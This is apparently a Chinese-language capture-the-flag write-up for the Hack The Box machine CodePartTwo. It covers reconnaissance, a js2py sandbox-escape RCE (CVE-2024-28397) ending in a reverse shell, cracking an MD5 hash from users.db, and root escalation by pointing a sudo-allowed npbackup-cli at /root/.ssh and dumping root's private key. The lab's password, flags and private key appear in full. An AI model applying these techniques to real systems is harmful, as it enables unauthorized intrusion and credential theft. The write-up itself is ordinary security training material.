

CodePartTwo,js2py(RCE漏洞),npbackup-cli本地 提權

```
└─# nmap -sCV -p22,8000 -A 10.10.11.82
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-10 12:21 EDT
Nmap scan report for 10.10.11.82
Host is up (0.23s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp  open  http      Gunicorn 20.0.4
|_ http-server-header: gunicorn/20.0.4
|_ http-title: Welcome to CodePartTwo
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   246.34 ms 10.10.14.1
2   247.34 ms 10.10.11.82

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.02 seconds
```

掃描

```
└─# ffuf -u http://10.10.11.82:8000/FUZZ -w
/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
```

```
login [Status: 200, Size: 667, Words: 119, Lines: 20, Duration: 291ms]
register [Status: 200, Size: 651, Words: 117, Lines: 20, Duration: 280ms]
download [Status: 200, Size: 10708, Words: 51, Lines: 48, Duration: 251ms]
logout [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 227ms]
dashboard [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 897ms]
```

將檔案下載下來並解壓縮

```
(root@kali)-[~/htb/CodePartTwo]
# unzip app.zip
Archive: app.zip
  creating: app/
  creating: app/static/
  creating: app/static/css/
  inflating: app/static/css/styles.css
  creating: app/static/js/
  inflating: app/static/js/script.js
  inflating: app/app.py
  creating: app/templates/
  inflating: app/templates/dashboard.html
  inflating: app/templates/reviews.html
  inflating: app/templates/index.html
  inflating: app/templates/base.html
  inflating: app/templates/register.html
  inflating: app/templates/login.html
  inflating: app/requirements.txt
  creating: app/instance/
  inflating: app/instance/users.db
```

補充gunicorn 有找過漏洞但沒發現

版本：

```
(root@kali)-[~/htb/CodePartTwo]
# cat requirements.txt
flask=3.0.3
flask-sqlalchemy=3.1.1
js2py=0.74
```

js2py疑似可以RCE

js2py 0.74 exploit github

全部 影片 圖片 購物 短片 新聞 網頁 更多 工具

 GitHub

<https://github.com/advisories> · 翻譯這個網頁

js2py allows remote code execution · CVE-2024-28397

2024年6月20日 — An issue in the component `js2py.disable_pyimport()` of `js2py` up to v0.74 allows attackers to execute arbitrary code via a crafted API call.

 GitHub

<https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape> · 翻譯這個網頁

Marven11/CVE-2024-28397-js2py-Sandbox-Escape

A **vulnerability** in the implementation of a global variable inside `js2py`, allowing an attacker obtaining a reference to a python object in the `js2py` environment.

 GitHub

<https://github.com/advisories> · 翻譯這個網頁

payload-ng vulnerable to RCE with js2py sandbox escape

2024年9月7日 — Any payload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will ...

 GitHub

<https://github.com/naclapor/CVE-2024-28397-js2py-Sandbox-Escape-Exploit> · 翻譯這個網頁

CVE-2024-28397 js2py Sandbox Escape Exploit

2025年9月9日 — This repository contains a python **exploit** code for CVE-2024-28397 intended for use on the "CodePartTwo" machine on Hack The Box (HTB).

參考:<https://github.com/naclapor/CVE-2024-28397>

RCE成功

```
nc -lnvp 9200
listening on [any] 9200 ...
connect to [10.10.15.9] from (UNKNOWN) [10.10.11.82] 35320
id
uid=1001(app) gid=1001(app) groups=1001(app)
whoami
app
ls
app.py
instance
__pycache__
requirements.txt
static
templates
歡迎來到
```

有版本漏洞

Sudo version
<https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version>
Sudo version **1.8.31**

Vulnerable to CVE-2021-3560

```
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
marco:x:1000:1000:marco:/home/marco:/bin/bash
app:x:1001:1001:,:/home/app:/bin/bash
```

密碼？

```
app@codeparttwo:~/app/instance$ cat users.db
cat users.db
♦0♦0♦J%Wtablecode_snippetCREATE TABLE code_snippet (
    id INTEGER NOT NULL,
    user_id INTEGER NOT NULL,
    code TEXT NOT NULL,
    PRIMARY KEY(id),
    FOREIGN KEY(user_id) REFERENCES user(id)
)♦0♦CtableuserCREATE TABLE user (
    id INTEGER NOT NULL,
    username VARCHAR(80) NOT NULL,
    password_hash VARCHAR(128) NOT NULL,
    PRIMARY KEY(id),
    UNIQUE (username)
♦♦♦'Mappa97588c0e2fa3a024876339e27aeb42e)Mmarco649c9d65a206a75f5abe509fe128bce5
```

解碼後

Enter up to 20 non-salted hashes, one per line:

649c9d65a206a75f5abe509fe128bce5

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1 sha1_bin)), QubesV3.1BackupDefaults

Hash	Type	Result
649c9d65a206a75f5abe509fe128bce5	md5	sweetangelbabylove

```
username : marco
```

passwd : sweetangelbabylove

登入成功並獲取user flag

```
└─# ssh marco@10.10.11.82
The authenticity of host '10.10.11.82 (10.10.11.82)' can't be established.
ED25519 key fingerprint is SHA256:KGKFyaW9Pm7DDxZe/A8oi/0hkygmBMA8Y33zxkEjcD4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.82' (ED25519) to the list of known hosts.
marco@10.10.11.82's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

System information as of Fri 10 Oct 2025 07:21:15 PM UTC

System load:          0.0
Usage of /:            59.9% of 5.08GB
Memory usage:         35%
Swap usage:           0%
Processes:            261
Users logged in:       0
IPv4 address for eth0: 10.10.11.82
IPv6 address for eth0: dead:beef::250:56ff:feb0:d2fb

Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Oct 10 19:21:17 2025 from 10.10.15.9
marco@codeparttwo:~$ id
uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)
marco@codeparttwo:~$ cat user.txt
bf44150c3e504a0beed9f77b5b57af3d
marco@codeparttwo:~$
```

提權確認收集

```
┌─┐ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
└─┐ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/b
in

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
```



```
marco@codeparttwo:/tmp$ cat /usr/local/bin/npbackup-cli
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from npbackup.__main__ import main
if __name__ == '__main__':
    # Block restricted flag
    if '--external-backend-binary' in sys.argv:
        print("Error: '--external-backend-binary' flag is restricted for use.")
        sys.exit(1)

    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())
```

找到相關文件漏洞:<https://github.com/AliElKhatteb/npbackup-cli-priv-escalation>

位置：/home/marco/npbackup.conf

這邊應該可以修改

```
marco@codeparttwo:/tmp$ cat /home/marco/npbackup.conf
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri:
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlziOYsL
    repo_group: default_group
    backup_opts:
      paths:
        - /home/app/app/
      source_type: folder_list
      exclude_files_larger_than: 0.0
```

修改成讀取私鑰看看

```
__NPBACKUP__wd9051w9Y0p4ZYWmIxM
repo_group: default_group
backup_opts:
  paths:
    - /root/.ssh/
  source_type: folder_list
  exclude_files_larger_than: 0.0
repo_opts:
```

修改完後開始備份

```
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup.conf --backup
2025-10-11 16:42:14,342 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-Legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-10-11 16:42:14,372 :: INFO :: Loaded config 7BD385E4 in /home/marco/npbackup.conf
2025-10-11 16:42:14,384 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago
2025-10-11 16:42:16,873 :: INFO :: Snapshots listed successfully
2025-10-11 16:42:16,875 :: INFO :: No recent backup found in repo default. Newest is from 2025-04-06 03:50:16.222832+00:00
2025-10-11 16:42:16,875 :: INFO :: Runner took 2.491796 seconds for has_recent_snapshot
2025-10-11 16:42:16,875 :: INFO :: Running backup of ['/root/.ssh/'] to repo default
2025-10-11 16:42:18,114 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions
2025-10-11 16:42:18,114 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found
2025-10-11 16:42:18,115 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes
2025-10-11 16:42:18,115 :: ERROR :: Exclude file 'excludes/generic_excludes' not found
2025-10-11 16:42:18,115 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes
2025-10-11 16:42:18,115 :: ERROR :: Exclude file 'excludes/windows_excludes' not found
2025-10-11 16:42:18,115 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes
2025-10-11 16:42:18,115 :: ERROR :: Exclude file 'excludes/linux_excludes' not found
2025-10-11 16:42:18,115 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
no parent snapshot found, will read all files
Files:      2 new,      0 changed,      0 unmodified
Dirs:      2 new,      0 changed,      0 unmodified
Added to the repository: 4.466 KiB (4.187 KiB stored)
processed 2 files, 3.094 KiB in 0:00
snapshot 0e59101f saved
2025-10-11 16:42:19,391 :: INFO :: Backend finished with success
2025-10-11 16:42:19,394 :: INFO :: Processed 3.1 KiB of data
2025-10-11 16:42:19,394 :: ERROR :: Backup is smaller than configured minmium backup size
2025-10-11 16:42:19,395 :: ERROR :: Operation finished with failure
2025-10-11 16:42:19,395 :: INFO :: Runner took 5.013019 seconds for backup
2025-10-11 16:42:19,395 :: INFO :: Operation finished
2025-10-11 16:42:19,403 :: INFO :: ExecTime = 0:00:05.064560, finished, state is: errors.
```

備份完後，讀取私鑰

```
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup.conf --dump /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

進行root連線成功並獲取root flag

```
# ssh -i id_rsa root@10.10.11.82
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

System information as of Sat 11 Oct 2025 04:45:07 PM UTC

System load:          0.24
Usage of /:            58.9% of 5.0GB
Memory usage:         28%
Swap usage:           0%
Processes:            230
Users logged in:      1
IPv4 address for eth0: 10.10.11.82
IPv6 address for eth0: dead:beef::250:56ff:feb0:568d

Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sat Oct 11 16:45:08 2025 from 10.10.15.9
root@codeparttwo:~# id
uid=0(root) gid=0(root) groups=0(root)
root@codeparttwo:~# whoami
root
root@codeparttwo:~# cat /r
root/ run/
root@codeparttwo:~# cat root.txt
85441a2ffb7fa52ade92ca0eb127d13a
root@codeparttwo:~#
```

通过ssh私钥文件直接登录root用户

```
(root@kali) ~ | /home/kali/Desktop/temp |
# chmod 600 id_rsa

(root@kali) ~ | /home/kali/Desktop/temp |
# ssh -i id_rsa root@10.10.11.82
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

System information as of Thu 21 Aug 2025 08:39:38 AM UTC

System load:          0.03
Usage of /:            78.4% of 5.0GB
Memory usage:         27%
Swap usage:           0%
Processes:            237
IPv4 address for eth0: 10.10.11.82
IPv6 address for eth0: dead:beef::250:56ff:feb9:9a95

Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
```

x0da6h 关注